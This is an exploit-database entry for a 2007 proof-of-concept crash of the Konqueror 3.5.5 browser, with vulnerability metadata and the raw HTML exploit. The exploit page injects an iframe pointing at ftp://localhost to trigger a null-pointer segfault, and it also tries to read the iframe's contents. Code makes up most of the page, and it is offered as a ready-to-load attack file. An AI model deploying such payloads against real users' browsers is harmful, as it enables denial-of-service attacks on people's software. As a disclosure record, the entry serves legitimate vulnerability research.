header-logo
Suggest Exploit
vendor:
Konqueror
by:
mark@bindshell.net
N/A
CVSS
N/A
Null Pointer Exception
476
CWE
Product Name: Konqueror
Affected Version From: Konqueror 3.5.5
Affected Version To: Unknown
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Unknown
2007

Konqueror 3.5.5 Null Pointer Exception Crash

This exploit demonstrates how to make Konqueror 3.5.5 crash instantly with a null pointer exception. By loading a specific file in Konqueror, vulnerable versions will segfault. The exploit uses an iframe element with a source attribute pointing to 'ftp://localhost/anything', triggering the crash.

Mitigation:

Unknown
Source

Exploit-DB raw data:

<html>
<body>

Demo of how to make Konqueror 3.5.5 crash by mark@bindshell.net.<p>
Simply load this file in Konqueror.  Vulnerable versions should segfault instantly with a null pointer exception.<p>
<p>

<script>
read_iframe = function(iframe_name) {
	var banner = document.getElementById(iframe_name).contentWindow.document.body.innerHTML;
	alert(banner);
}

var iframe = document.createElement("IFRAME");
iframe.setAttribute("src", 'ftp://localhost/anything');
iframe.setAttribute("name", 'myiframe');
iframe.setAttribute("id", 'myiframe');
iframe.setAttribute("onload", 'read_iframe("myiframe")');
iframe.style.width = "100px";
iframe.style.height = "100px";
	
document.body.appendChild(iframe);

</script>
</body>
</html>

# milw0rm.com [2007-03-05]